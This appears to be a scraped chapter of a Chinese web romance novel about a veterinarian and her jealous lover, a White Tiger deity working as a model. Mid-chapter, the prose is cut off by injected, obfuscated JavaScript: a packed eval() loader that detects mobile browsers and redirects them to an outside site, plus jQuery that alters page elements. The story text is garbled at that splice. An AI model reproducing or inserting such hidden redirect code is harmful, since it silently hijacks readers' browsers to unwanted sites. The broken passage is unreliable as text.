23. 第 23 章
作品:《白虎真君饲养日志》 肩膀上的牙印清晰得和男人脸上密布的阴云一样,昭然若揭,眼底是潜藏的愠怒。
不敢看他,慕沐心虚地拿着化妆师给的粉底液,一点一点给印子抹上。她怎么知道三天了,印子居然还在?那晚她咬得有那么重吗?
“够了。”他的声音隐隐有些不耐烦。
“不行,沈总监说得跟肤色一致,还要干透。”冷白的皮肤上暗红色的血痕印,她的杰作。
要不是今天恰好轮休,美女邻居昨晚又恰好“奉命”找上门邀请她来公司一叙,她都不知道前几日全是他自己抹的。
他对化妆师的容忍度只有脸——说这话的时候,沈总监的脸色跟手上的粉底液快一个色号了。
不过,他心情不好倒与其他人无关,主要还是因为她。
“今天是第四天,”忽然,他弯腰凑到她耳边,“你再躲着试试?”
手一抖,粉扑滑到了他胸口。暗道一声糟了,慕沐连忙放下粉底液,用手去抹,祈祷着千万别沾到昂贵的西服。
手背被按住,在她诧异地抬头时,白虎吻了过来。
“不、不行……”
她想告诉他会议室里有监控,他却以为她又要拒绝,生气得另一只手直接按住抵抗的后脑勺,加深了这个吻。
那天他是冲动了,谁叫她那一口咬得他差点不管不顾。可她怎么可以在那种时候,转头丢下他去接那个陆书君的电话?
结果,就因为那个姓陆的心情不好,她陪着足足打了三十分钟电话。他也心情不好,她就跟瞎的一样,视而不见。
依依不舍地放开,指腹摩挲着娇艳的唇瓣,白虎哑着声问她:“那么多天不给碰,你想憋死我吗?”
呼吸尚还不稳,慕沐喘着气小声骂道:“谁让你不知道节制?我不累吗?我白天还要上班,谁受得了你天天……”天天缠着要,呸。
才开始谈恋爱就这样,她无法想象一个月到期,他是不是还有别的手段折腾她?蓦地脸一热,“少啰嗦,赶紧出去,人家还等着你开工。”
“你还没答应我。”居高临下,白虎一手撑在墙上,一手抓着她的手,将她笼罩在自己的阴影下。
背脊紧贴着墙,慕沐不怕死地瞪回去,“别无理取闹,现在是工作时间。不然,我立刻就回去。”手指着门,大有他有种就试试的意味。
嘴角压下抿成了直线,他咬着牙,“算你狠。”
摔门而出,震天动地。
拐角处西装革履的沈总监,揉了揉抽疼的额角,在会议室门再次打开后拦住了她,“慕医生,我是请您来劝他配合的,不是刺激他的。”
冷着一张脸三天,倒是把正装照差不多全给拍了。可还有悠闲服饰呢?这人板着脸,哪像度假游玩的?倒像要债的。
偏偏心思还单纯,开不开心都写脸上。他根本不用猜,问题肯定又是她慕医生。
“他不配合,您可以选择开除他。”
蓦然一顿,沈总监不由深吸口气。他真想问问那白虎大哥,怎么就喜欢这个翻脸比翻书还快的女人?欠虐不是?
“没那么简单,”既如此,他也明人面前不说暗话,“实不相瞒,我把今年新秀选拔压他身上了。开除他,我现在投入的都将打水漂。”
秀眉微蹙,慕沐看着他,“别告诉我,你们公司没有备选方案?”她是年纪不大,不是智商不够。
她打量他的的同时,他也在打量她。忽地,沈总监扬起笑容,“如果我愿意舍弃备选方案,你能帮忙稳住他吗?”
这算什么交易?心中想着,面上未显,慕沐问道:“为什么一定要留他?”
“因为这傻小子一门心思想给你买房,”他可以断定眼前的姑娘不是眼里只有钱的女人,那就只剩一个原因,“我刚结婚时别说买房,连厕所都买不起。他愿意为你奋斗,难道你不感动吗?”
她轻轻笑了,“我有说我要吗?”
倏而睁大了眼,看着抬脚就走的背影,沈总监终于明白什么叫做,一个被窝睡不出两种人。
再次深呼吸,沈总监快步跟上,“慕医生,来都来了,先看看他工作如何?”
这次她没有拒绝。搬了把凳子坐在落地窗前,看着忙碌的工作人员、寻找角度的摄影师,还有那个阴沉着脸的男人。
一杯咖啡递到她手边,“加奶,少糖,”压低着声,沈总监笑着指了指白虎,“他说的。虽然态度恶劣,但工作的时候他真的很认真。我也确实欣赏他,希望他留下。”
慕沐垂眸,弯了弯唇角,“他只是不喜欢别人碰,没有别的意思。”
沈总监侧目看了她一眼。整片阳光洒落在她身上,在地上投下孤单影只。
“你知道吗?这几组照片都是新加的,”迎着她疑惑的目光,沈总监狡猾一笑,“这家伙问我能不能多给钱,能不能天天给钱,能不能挣更多的钱……”
她张了张嘴,有些哭笑不得。
“他还问我,怎么追求你,怎么和你谈恋爱,”说到这,沈总监也不由摇头,“他真的很喜欢你。所以他高不高兴,有没有生气,我一眼就能看出。”
脾气凶神恶煞似的男人,竟是个纯情的?他都难以相信。
“所以我才让玲玲去找你,希望你能来看看他的工作。至少,”沈总监想了想,“至少,你能否告诉他,成年人不该把情绪带进工作?”
望着忍着不耐烦根据摄影师要求摆姿势的白虎,慕沐抿了抿唇,“也许,有点难。”
“不难,”沈总监举起自己的马克杯,朝她眨了眨眼,“只要你对他,好一点就行。”
“好一点?要多好?”她乐了。
“慕医生不是兽医吗?小动物,不都得顺毛撸?”
不然就容易炸毛。就像她哄老猴王,必须拿它最爱的香蕉。可,这位沈总监不知道,那个男人可不是普通小动物,是白虎真君啊,上古神兽,镇守北方的战神啊。
顺毛撸?只会让他更加得寸进尺。
不置可否,也不再多言,慕沐看了白虎许久,起身,“不好意思今天打扰了,我还有事先回去了,”客气地颔首,又道,“您允许的话,能否让我和他说句话?”
“当然。”
“谢谢。”
“呃,那个,别刺激他,OK?”
慕沐笑了笑,转身走向那个一脸不服气的男人。
会议室的门在他身后关上的一刻,她踮起脚尖,抓住两侧衣襟拽下他,还差一点。她不急,因为她知道,只要她仰头,他会主动来吻她。
看着意犹未尽的男人,她说:“早点结束回家。”
“好。”
其实,白虎真君比那些小动物更好哄。除了,代价有那么稍稍一点,多。
所以夜晚来临的时候,慕沐穿上了他喜欢的那件吊带睡裙,坐在绷紧的腿上,搂住梗直的脖子。
“从今天开始,我教你谈恋爱,不许再去问别人。”
干涸的薄唇抿了下,他扯开衣领的扣子,“好。”尽量不让视线往下瞟。
假正经。暗骂一句,慕沐拉起他的右手,“谈恋爱的第一步是牵手,”十指交缠,倾身啄了啄他的唇,又道,“第二步是接吻,最后才是上床。”
剑眉微蹙,白虎疑惑道,“那流程,我们不都已经走得差不多了吗?”忽又反应过来,“最后一步还不算完成,今晚……”
她捂住了他打岔的嘴。
他还懂走流程?那是流程吗?简直是赶工期。不满地腹诽着,慕沐继续说道:“每一个步骤都是有铺垫的,什么都不铺垫,上来就走流程的,那叫耍流氓。”
“……要如何铺垫?”他发现了,她的要求不是一般的多。
慕沐思索了一下,“就拿牵手来说,两个人见面就牵手不是谈了很久就是老夫老妻,我们两
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307397|198286||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
者都不是,所以可以先从逛街、吃饭、游公园开始。渐渐熟了,自然而然不就手拉手了吗?”
白虎怀疑她在骗他。不然他们现在十指相扣算什么?
“行,”他还是点头了,“接下来呢?要怎样铺垫才能接吻?”他想看看她究竟在耍什么阴谋诡计?
“接吻啊,”说实话,她也没啥经验,仅有的经验全在他身上了,“那就更不能随便了,首先得有氛围。你知道什么叫氛围吗?”
白虎摇头。
“氛围就是两个人所处的环境、周围的灯光、那时的心情,还有,”穷思极想,慕沐觉得自己就像个摆摊算命的,满口胡诌,“还有两个人是不是对彼此十分渴望。简单来说,就是天时地利人和。”
目光坚定,振振有词,一本正经,胡说八道。白虎颔首,“继续。”
继续?她眨了眨眼,“哦,继续,”抽回交握的手,慕沐佯装口渴,“我先喝口水。”试图从他腿上下来。
“就这么说,”挡在后腰的手掌往下,白虎微微笑道,“我给你拿水。”说着,就这么抱着她站了起来。
“啊,要掉下去了。”尖叫着搂住他的脖颈,双脚紧紧缠在他腰间,突然地起身激发了她求生本能。
也成全了他的恶作剧,“那你抱紧些。”托在臀部的手掌悄悄溜进裙下,柔软的两团紧贴在胸前,白虎朝桌子走去,拿了茶杯递给她。
她气呼呼地扭过头,“不喝了。”松手就往下滑,怎么喝?
“不喝?”白虎点点头,“我倒也有些渴了。”
一只手抱着她,一只手拿着茶杯回到沙发。在灌下一口凉茶后,就着才松了口气的嘴堵了过去。
看着她气急败坏地咽下,低头去舔流下的水渍,唇角、下颌、脖颈……白虎抬头,看了眼湿润的唇瓣,抿着笑,“怎么不说了?还有最后一步,你想怎么铺垫?”
慕沐现在气得只想挠花这张欠揍的脸,“铺垫什么?没了,没最后一步了。”挣扎着就想下去。
“你不说,那我只好自行铺垫了。”压下她的腰,轻笑着凑上前,摩挲着她的唇,白虎逗弄似地有一下没一下地,学着她的样子亲啄。
正想再进一步时,手机响了。
“不许接。”哑着声威胁,他不想再听到那个姓陆的名字。
“别闹,万一有重要的事。”慕沐推开他,他先一步抢到了手机,“白虎!”
他看着来电显示愣了一下,然后还给了她,“是你老师。”
慕沐也是一愣,匆忙接听,“喂,教授?”
“慕沐啊,月底有个培训……”
月底有个兽医培训在邻市动物园,一共四天,教授让她赶紧把名报了。挂了电话,慕沐一刻不停跑回房间,一边打开电脑登录网站,一边习惯地拨通了陆书君的手机。
“师兄,那登录账号和密码什么来着?”
“又忘了?小心我告诉教授。”
她傻笑着求饶,浑然忘记了客厅里被抛下的某人。而这个某人,脸色已经寒到了极点。
因为,陆书君也会去那个培训。不仅如此,他听得清楚,那人等培训结束还要带她去吃吃喝喝,把没逛过的地方顺便都给逛一圈。
忿忿地攥拳,她不是说只有谈恋爱的两个人才会做那些事?果然是骗他的。
一想到这,白虎忍无可忍地走进卧室,方要阻拦她不许再和那人打电话,映入眼帘的却是,他从未见过的模样。
舒服地靠在椅背,两只脚毫无形象地搁在书桌上,毯子的一侧落在地上,她很放松地在和那人聊天。
晚风徐徐吹拂,她轻轻笑着,就因为那人告诉她都有哪些好吃的,哪些不好吃,哪些太贵,哪些很划算。她说,这个不喜欢吃,那个喜欢,不要太酸太甜,辣的好像不错……听着像两个人相熟之人,纯粹、愉快地聊天。
而他,则像个外人。

